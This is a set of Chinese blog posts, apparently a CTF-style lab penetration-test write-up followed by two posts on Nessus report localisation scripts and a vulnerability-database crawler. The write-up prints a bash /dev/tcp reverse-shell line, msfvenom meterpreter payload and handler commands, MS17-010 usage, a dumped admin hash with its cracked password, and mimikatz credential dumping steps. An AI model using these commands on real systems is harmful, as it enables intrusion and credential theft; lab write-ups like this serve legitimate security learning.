模拟环境的渗透测试

前言

 近期在整理以前的资料的时候,发现了去年做的某线下渗透测试的记录,这次渗透测试也比较契合实际环境中的渗透测试,所以我打算还是分享上来一来给自己复习一遍,二来也希望能给大家一点点渗透测试的思路。
 当开始做这次模拟的渗透测试的时候,只得到了一个信息,就是目标网站的域名。然后也没有告诉我们渗透到什么阶段才算结束了本次渗透。所以当时做的时候还比较懵逼
 这一点其实和我们做真实的渗透测试很像,当我们在做实际环境的渗透测试的时候,我们肯定也会有面临这样的情况,当目标只有一个域名,我们应该怎么做?那么其实按照一般的渗透测试步骤来说呢,总结起来就是寻找WEB服务的漏洞,尝试上传WEBSHELL,提权,内网嗅探,端口转发,内网渗透。然后再考虑权限的持久化等问题。等这一系列工作做完以后基本也就完成了一次较为完整的渗透测试。
 当然渗透测试也是需要根据具体情况来定的,渗透的步骤不是一成不变的。要根据具体环境具体情况来进行相应的调整。

开始

 废话说了一大堆,也不耽误时间了,我现在开始把这次渗透测试的过程给贴出来吧,由于时间过了很久了,并且当时时间也比较紧,有些步骤就没有进行截图。所以大家将就看看。了解个思路就是了。
 为了方便大家理解,我先把拓扑图给贴出来,当然这拓扑图是后来渗透做完后自己做的一个简单的拓扑。

 1.我们目前能访问的就只有192.168.5.10这个网站,这个网站是一家公司主页,经过系列浏览与探索,知道该网站使用的是PHP,并且发现了一处类似文件包含的页面。如图:

 看到这里应该,第一个能想到的就是包含漏洞,而文件包含漏洞也分为本地文件包含于远程文件包含,如果是本地文件包含漏洞的话,我们可以利用它读取服务器上的文件,尝试读取源码,或者找到上传点再去包含webshell文件。而如果是远程文件包含的话就更方便了,可以直接尝试包含webshell。不过要注意的是远程文件包含不能包含以PHP为后缀的文件。
 在这里我使用了PHP的伪协议进行测试,发现确实是存在漏洞,如果已经能执行命令了,那么代表其一定能够远程文件包含。

 远程文件包含,我相信大家也都知道怎么去运用,由于本次的渗透是线下的,并且不通外网,我们直接在本地搭建HTTP服务,将我们的WEBSHELL放进去,并在目标站点包含我们这个shell文件就可以了,不过要注意,一定不能是PHP后缀。
 这里我在shell中添加了PHPinfo方便判断是否包含成功。可以看到是成功包含了的。

 然后就是大家熟悉的东西了,上菜刀。HHH

 尝试是否能执行命令,查看权限。

 可以看到是一个低权限用户。那么先考虑进行提权,根据系统内核寻找exp进行提权。

 由于我当时用的EXP提权的话,需要有交互,而菜刀并不能提供交互式的shell,所以我当时使用NC监听并进行端口转发。不过当时并未截图,我将方法写出来吧。
目标端:/bin/bash/ -i > /dev/tcp/192/168.5.107/7777 0<&1 2>&1
攻击端:nc -lvnp 7777
也就是将bash转发到我们的7777端口,并监听建立连接。
 如图,已经将我们的权限提升为ROOT,不过需要注意的是,这个提权只是提升了bash的权限,为了方便后续渗透,我们需要创建一个属于root组的用户。创建账户我也就没有截图了。

 登录ssh,可以看到我们是root组的用户。(这里强烈推荐一下MobaXterm这个终端管理工具,巨好用。)

 做到这里,我们来梳理一下,我们目前已经上传了shell并且得到了root权限。那么就应该考虑一下内网渗透了,那么做内网渗透就不的不提MSF了吧。为了方便我们后续的内网渗透能顺利开展,我们先使用MSF生成一个后门,并执行它。
 生成后门(如果对方机器有杀软可以添加编码等尝试绕过,这里目标机没有我也就没做了。)PS 没有截图 =。=

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.107 LPORT=4444 -f elf >shell.elf

在msf中启动监听。

1
2
3
4
use exploit/multi/handler  
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
exploit

 然后在目标服务器上运行我们的后门。
 可以看到msf的控制台中已经将shell反弹回来。

 当时使用msf的时候,遇到了个坑,本来是打算使用msf做内网渗透的,而由于当时们整个测试地点都处于内网,不能连通外网,并且我的msf并没有下载NMAP模块=。=,所以导致我后续的渗透都没使用msf平台了。不过在实际环境中并不会有影响,使用msf的话,可以极大的提高我们的效率。
 于是转变了下思路,将我的nmap源码上传到5.10这个边界服务器上,进行编译,然后扫描。PS(实际环境中这样不可取,及容易触发安全机制。)扫描情况如下所示(有路由,有FTP服务器,有2台服务器web服务,还有ssh,3389等。)



 看完扫描结果后,大致有了思路,SSH,FTP,3389可以使用爆破的方式进行渗透,445则考虑永恒之蓝,80的话就是常规的WEB渗透进行。

内网阶段

 到这里也就到了内网的渗透阶段了,现在我们知道了,目标内网的分布情况,并且有一台已完全控制的主机,到这里的时候我并未先对ssh,ftp,3389进行爆破,也没有尝试使用永恒之蓝对445进行攻击,我感兴趣的是那两个web服务。
 而那两个web服务处于内网,我们是无法直接访问到的,这个时候就需要使用代理了,代理转发的方式很多,工具也很多,这里我不一一列举了,我这里使用的ew进行反向代理。如图:

 现在目标服务器已经和本地建立了socks连接了,我们需要做的就是连接这个socks。然后访问其内网。WINDOWS平台下,大家一般可能会选择regeorg或者proxifer,而linux下则一般会选择proxychains。(不过在这里,我会推荐一款WINDOWS下更好用的代理工具,SocksCap,本来这是一款网游的加速代理工具,但是其可以指定特定的程序进行socks连接,超级好用并且稳定,感兴趣的同学可以试试。)这里并没有截图,后面我会补上这个软件的截图。
 使用代理后,我们去访问内网的那两个WEB服务器器。首先是192.168.6.16这个服务器,他开放了80,8080这两个WEB端口,80端口我访问的时候,没有任何内容,这个时候看到了8080端口,而8080又是Tomcat的端口号,加上80端口里面还没有内容,初步怀疑是才搭建的服务,而Tomcat拿shell的方式,我相信大家也清楚,就是利用登录后上传war包从而拿到shell。到这里就有思路了,就是登录Tomcat的管理业页面。
 直接尝试弱口令登录成功。找到上传war包的地点,上传编译好的war包。

 可以看到,我们的权限直接是root。这是因为基本上部署Tomcat的时候,都是使用的高权限用户进行的部署,所以其默认继承该高权限用户,所以直接是root权限。

 在这里贴张图给大家看一下,war怎么编译吧。

 这个站点找到了一个flag,并且测试该服务器下没有二级网络,于是这台服务器也搞定。

 接下来是192.168.6.17这个站点,这台服务器也开放了80端口,是一台内部的OA系统。尝试了弱口令爆破登录,没有成功。使用御剑扫描目录的时候,扫描到了一个massage.php页面,尝试访问发现没有提升登录,但是该页面没有内容,考虑到可能是一个信息页面可能与数据库有交互,于是使用了几个常用的参数进行测试发现当输入?id=1时,页面显示了系统维护。如图:

 那么有趣的地方来了,内网相对于外网肯定会薄弱很多,这个地方可能存在注入,那么直接一套连招,and 1 = 1 #,and 1 = 2# 发现果然存在注入。那么直接使用sqlmap并加上代理跑就完事了。

 跑出来了OA管理员的密码MD5,电脑不能访问公网,于是用手机一个一个敲,在MD5网站解出来了密码为 “37s984pass”难怪爆破不出来=。=。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Database: my_oa

Table: admin

[1 entry]

+----+----------------------------------+----------+

| id | password | username |

+----+----------------------------------+----------+

| 1 | 29acd667cdbee1116d365727ca6821d3 | admin |

+----+----------------------------------+----------+

 尝试了下使用sqlmap写shell文件,发现没有导出的权限,于是放弃了。那么接下来又是常规操作了,登录OA,寻找突破点,果然找到了处上传点。美滋滋。^_^.

 这里上传的时候遇到了问题,我直接上传PHP马,没有任何返回信息,而当我上传正常图片的时候它返回了上传成功,并显示了上传后的文件名,我发现其文件名进行了更改,并且像是按照时间格式进行的重命名。
 于是这里,我使用了burp进行抓包上传,因为这样可以很方便的查看系统返回的时间。(注意该站点属于目标内网,所以burp也需要设置socks代理。具体如何设置网上有很多教程,我也不做演示了。)

 如图根据这个返回的时间,找到了我们上传的webshell。

 查看网卡,没有二级网络,并且当时在翻阅目录的时候,找到了flag,也就没做提权了。

 到这里我说一下,当时我做的时候,可能是我的字典不够强大的原因,所以服务器我没有一个爆破下来的= 。=可怜!
 爆破不成功,那么还有个445端口嘛,内网一般都没做修复,直接MS17010去照顾一下它。前面渗透边界服务器的时候不是已经反弹了一个shell到MSF上了吗。这个时候只需要添加一个路由。

 然后显示MS17010的payload(没截图=。=)

1
2
use exploit windows/smb/ms17_010_psexec
show PAYLOAD

 然后选择设置payload。如图:


 注意这里设置好后先别着急使用run去运行这个payload

 我们先到边界服务器,上传一个NC,然后监听4555端口,然后在run,可以看到这个时候已经将shell反弹回来,并且是system权限了。

 考虑到这是一台Windows主机,并且没有其他服务,猜测其可能存在域,于是使用一些域命令进行信息收集。域管理为administrator


 NMAP做端口扫描的时候,我们知道了这台服务器开启了3389端口的。于是我现在的思路是创建一个属于admin组的用户,在登录3389(不过这里需要注意的是,该机器处于内网,我们是无法直接连接3389,还是需要使用到之前在边界服务器设置的socks代理)。
 创建账户

 登录3389

 因为我们是新建立的用户,无法访问到其他账户的信息,所以桌面很干净哈哈哈。(思路:这个时候,有几个要点,1.我们虽然登录上了3389但是访问不到其他用户的数据,2.我们处于一个域环境,这台主机有可能被域管理登录过。PS: Windows域中,域管理有可能会统一对域内机器进行维护,所以有可能被域管理登录过。)
 这个时候我们要做的是,那就是使用mimikatz去抓密码。而mimikatz必须是最高权限才行,虽然我们现在是admin组,但是权限仍然不满足条件。通过systeminfo查看补丁,我找了个EXP,MS14-058来进行权限提升。
 将mimikatz和MS14-058上传到边界服务,然后下载到0.200这台服务器上。

 并如图所示使用MS14-058配合mimikatz抓取密码。管理和域控的密码都抓到了。


 查看网卡,发现还有10的地址

 查看网络,尝试连接WIN那台主机,发现没有开启3389

 现在我们有了域控的密码。意思就是只要在域内的主机我们都能登录,所以我们需要去开启该主机的3389
 其实也很简单,上传开启3389的VBS脚本,并使用$IPC共享到目标主机,并启动定时任务。运行该VBS脚本。即可。详细步骤我当时没有截图。但是可以参考这个网址进行操作。https://wenku.baidu.com/view/f965f6ece009581b6bd9eb2c.html
 最后使用域控进行登录

 拿到flag

完结

本文只是作为分享,如果有错误的地方,还请见谅。✿✿ヽ(°▽°)ノ✿。  

 

Nessus报告汉化篇二(初步汉化)

 接着上篇,在上篇中已经收集到了我们所需要的漏洞库,那么接下来就是一个简单的文档处理。本文章是针对于xlsx格式漏洞库进行处理的,后期我会把基于Mysql进行对比的脚本进行更新。
 备注:可以将漏洞数据库直接导出为CVS,然后保存为xlsx便可。
 先做一个简单的分析,如图,我们需要重点关注的有CVE,Host,Risk

 然后我们需要做个筛选,将Risk为None的筛除掉

 最后还需要将无CVE编号的漏洞先筛除掉,如图

 下图为数据库导出的xlsx漏洞库文档截图

 其实到这里,大家应该也明白了,这个‘汉化’的意思吧,其实就是一个简单的对比,通过Nessus报告中的CVE编号与漏洞库进行对比,然后生成新的文档。
 那么可能有同学会说筛选掉的漏洞中,那些有危险的漏洞,又该怎么办呢,其实当我在写这个脚本的时候我也有想过,但是经过这么久的工作经历中来看,其实筛选掉那些没有编号的漏洞,要么是难以利用,要么就是危害及小。
 因为工作较多,我会在每次处理完脚本后,自己在快速浏览一遍那些没有编号,但同时Risk与CVSS较高的漏洞,如果其中含有影响比较严重的漏洞,我会进行手动添加。
 这里先放一张处理好后的文档截图。最终效果就是这样。

 下面是就是一个简单的初步处理脚本,但是这个脚本处理后并不能达到我上图所展示的效果,如IP所属部门、所属系统、是否为遗留漏洞都未在这个脚本中实现。其实笔者的想法是,大家可以根据这个思路自己调整代码,最终写出一个更适合自己使用的脚本。完整的处理脚本和漏洞库我也会在随后的几篇博文进行更新。备注:有可能Nessus扫描文档中会出现,不在漏洞库中的漏洞。针对那些漏洞编号,脚本会打印在控制台,这些漏洞就只能自己去搜索补充到漏洞库中了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
'''
需要将Nessus导出的CVS文件进行筛选后,另存为xlsx文件,同时更改表名
'''
import datetime
from openpyxl import load_workbook,Workbook
#初始报告载入
#workbook = load_workbook("去除信息和无CVE编号的漏洞后.xlsx")
workbook = load_workbook("12月全量.xlsx")
worksheet = workbook["vulns"]
#漏洞库载入
workbook_vul = load_workbook("漏洞库.xlsx")
worksheet_vul = workbook_vul["all"]

#新报告创建
workbook_new = Workbook("12月全量_report.xlsx")
workbook_new.create_sheet("vulns")
worksheet_new = workbook_new["vulns"]
worksheet_new.append(["IP","hostname","scan_time","port","protocol","service","vulerability","risk_level","CVE_number","detailed","solution","return_info","remark","bumen","xitong"])
vul_level_dic ={"Low":'[低]',"Medium":"[中]","Critical":"[高]","High":"[高]"}
for i in range(2, worksheet.max_row + 1):
for j in range(2,worksheet_vul.max_row + 1):
if worksheet.cell(row=i,column=2).value == worksheet_vul.cell(row=j,column=2).value:
ip = worksheet.cell(row=i,column=5).value
hostname = ""
scan_time = datetime.datetime.now().strftime('%Y-%m-%d')
port = worksheet.cell(row=i,column=7).value
protocol = worksheet.cell(row=i,column=6).value
service = ""
vul_name = worksheet_vul.cell(row=j,column=1).value #漏洞名称
vul_level = worksheet.cell(row=i,column=4).value.strip()
vul_level = vul_level_dic[vul_level]
vul_cve = worksheet_vul.cell(row=j,column=2).value
vul_detail = worksheet_vul.cell(row=j,column=3).value
vul_suggest = worksheet_vul.cell(row=j,column=4).value
worksheet_new.append([ip,hostname,scan_time,port,protocol,service,vul_name,vul_level,vul_cve,vul_detail,vul_suggest ])
break
if j == worksheet_vul.max_row:
print(worksheet.cell(row=i, column=2).value)
workbook_new.save("12月全量_report.xlsx")

 题外话:其实笔者没有去系统的学习过Python,只是以前有过一些别的语言的开发经历,然后自己写脚本的过程中也是边写边学,所以说Python是真的惊艳到我了,并不需要花费大量时间去学习,只要了解基础语法,了解库的作用,就能快速将自己的想法用代码进行实现。吹爆!
 最后,笔者最近找到一个Google翻译,经过了简单的测试发现还挺好用,等这儿工作忙完了,我会写一个类似于上面处理效果的脚本。不过是利用Google进行汉化,这样就不用再去筛选漏洞了。然后还有一个小目标,就是之后我会写一个脚本,利用Nessus的CVS文档,生成汉化后的PDF或者word漏洞报告文档!

Nessus报告汉化篇一(数据准备阶段)

前言

 就笔者目前在工作中使用过的众多扫描器来看,即使是使用免费版Nessus,无论是从扫描的准确度还是漏洞更新的及时性来看,都完虐国内大多数付费版的扫描器。
 虽然比较好用,但是Nessus并不提供中文的报告文档,这点就比较尴尬,所以我才有了做‘汉化’的这样一个想法。当然这个汉化肯定不是规规矩矩去进行翻译汉化。工作量那么大,当然得使用脚本去进行批量的操作呀!

准备

 在使用Nessus扫描完成之后,导出文档的时候,我们一共有以下几个选项

 在这些选项中,我们所需要的就是CSV这个格式的文档,因为想对比于其他文件格式,CSV无疑是最好处理的。具体格式如下:

 因为考虑到是利用脚本对进行文档进行处理,那么就必须得有一个独特的标识以便后期进行匹配,那么文档中只有CVE编号可以满足我们这个条件。因为每个CVE编号都是独立的,只要有CVE编号,我们就能准确定位到这个漏洞的详情。
 那么问题来了,我们应该怎么利用这个编号来进行工作呢,笔者之前在国内的安全厂商绿盟查看过一些漏洞描述的时候,发现绿盟有一个公开的CVE漏洞库。那么思路就来了,我可以爬取绿盟的漏洞,在本地做一个数据库用于存储漏洞信息。然后便可用于做对比了。
 爬虫的我选择的是Python编写脚本进行爬取,毕竟Python写起来方便嘛,在写脚本之前可以先分析一下该如何进行爬取,目标站点有哪些特征可以供我们使用。
 如图,我们需要控制的URL中只有一个变量,就是最后的数字,它其实是递增的。那么我们就可以遍历它所有的数据。

 在这里我也就不详细去分析爬虫如何爬取数据,这个比较简单,我直接贴代码吧,这代码写了挺久了,当时写这个代码就图了个方便,所以写的也比较渣!哈哈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# -*- encoding= "utf-8" -*-

import pymysql
from threading import Thread
from queue import Queue
import time
import urllib.request
import urllib.parse
from urllib import error
from bs4 import BeautifulSoup
import re

class cvespider(Thread):
def __init__(self,url,q,list,sql):
super(cvespider,self).__init__()
self.url = url
#print (url)
self.q = q
self.list = list
self.sql = sql
self.values = {'name': 'voidking','language': 'cn'}
self.headers = { 'User-Agent': 'User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
self.data = data = urllib.parse.urlencode(self.values).encode(encoding='utf-8',errors='ignore')

def run(self):
self.parse_page()
def send_request(self,url):
i = 0
while i <=3:
try:
print ("[* ] 请求url: " + self.url)
request = urllib.request.Request(url=url, data=self.data,headers=self.headers,method='GET')
response = urllib.request.urlopen(request)
except Exception as e:
print ("[*] 请求出错"+ str(e) + "[-]" + self.url)
i += 1
else:
return response
def parse_page(self):
response = self.send_request(self.url)
buff = response.read()
html = buff.decode("utf-8")
soup = BeautifulSoup(buff,'html.parser')
html1 = soup.select('.vulbar')

vulbar = BeautifulSoup(str(html1),'html.parser')
#获取标题
title = vulbar.select('div[align="center"] > b')[0].get_text()

#获取内容
xitong = str(vulbar.find_all('b')[3].get_text()) + str(vulbar.find_all('blockquote')[0].get_text())

#获取描述
miaoshu = str(vulbar.find_all('b')[4].string)

#re匹配详细描述
info = re.findall(".*描述.([\s\S]*)建议.",vulbar.get_text())

#匹配修复建议
xiufu = re.findall(".*建议.([\s\S*]*)浏览.*",vulbar.get_text())

time.sleep(0.1)
if 'CVE' in vulbar.get_text():
try:
cve = re.findall("ID: (C.*)",vulbar.get_text())[0]
except IndexError:
cve = ''
else:
cve = ' '
list_info = (str(title),str(cve),str(info[0]),str(xiufu[0]))
self.list.append (list_info)
#print ('[* Title:] '+ str(list_info[0]))
#转义
text = pymysql.escape_string(str(list_info[0]))
#print ('[* text:]' + str(text))
res = self.db_execute("select cve_name from cve_list where cve_name='%s'"%text)
#print ('[* res:]' + str(res[0]))
#print (type(res1))
if not res:
if text not in res:
sql = "insert into cve_list(cve_name,cve_number,cve_info,cve_suggest) values('%s','%s','%s','%s')" %(str(text),str(list_info[1]),str(list_info[2]),str(list_info[3]))
print ('[* ]无原始数据-插入数据中...')
try:
self.db_execute(sql)
except:
print('[* error log ]'+self.url)

else:
if str(list_info[0]) not in str(res[0]):
sql = "insert into cve_list(cve_name,cve_number,cve_info,cve_suggest) values('%s','%s','%s','%s')" %(str(text),str(list_info[1]),str(list_info[2]),str(list_info[3]))
print ('[- ]有原始数据-插入数据中...')
try:
self.db_execute(sql)
except:
print('[* error log ]'+self.url)

def db_execute(self,sql):
db = pymysql.connect("127.0.0.1", "root", "test007", "cve_data")
cursor = db.cursor()
cursor.execute(sql)
db.commit()
results = cursor.fetchall()
db.close()
return results


def main():
q = Queue()
base_url = 'http://www.nsfocus.net/vulndb/'
url_list = [base_url + str(num) for num in range(50,41949)]
Thread_list = []
list = []
sql = ''
for url in url_list:
p = cvespider(url,q,list,sql)
p.start()
Thread_list.append(p)
time.sleep(0.2)
for i in Thread_list:
i.join()
while not q.empty():
print ('[* ******************]'+ str(q.get()))

if __name__=="__main__":

start = time.time()
main()
print ('[info]耗时:%s'%(time.time()-start))

 效果如图所示

 到这里,咱们的前期工作算是准备完成了,下一篇,我将会把如何处理Nessus的文档思路写出来,今天就到这了!